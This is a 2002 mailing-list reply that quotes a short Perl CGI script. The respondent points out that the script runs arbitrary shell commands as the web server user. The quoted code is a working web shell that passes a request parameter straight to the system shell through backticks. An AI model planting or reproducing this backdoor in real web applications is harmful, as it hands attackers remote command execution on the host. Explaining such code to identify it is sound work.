On Thu, 21 Mar 2002, John Michael wrote:
> #!/usr/bin/perl
> use CGI qw(:standard);
> print header;
> my $k=param("g");
> my $a=param("s");
> if ($a || $k) {
> $l=`$k 2>&1`;
> print start_form,textarea("g",$k,1,50);
> print submit("sc");
> print end_form;
> print pre($l);
> }
> print $ENV{"SERVER_NAME"};It executes arbitrary commands as <whatever your httpds run as>. -- Chris Reinhardt [EMAIL PROTECTED] Systems Architect Dynamic DNS Network Services http://www.dyndns.org/
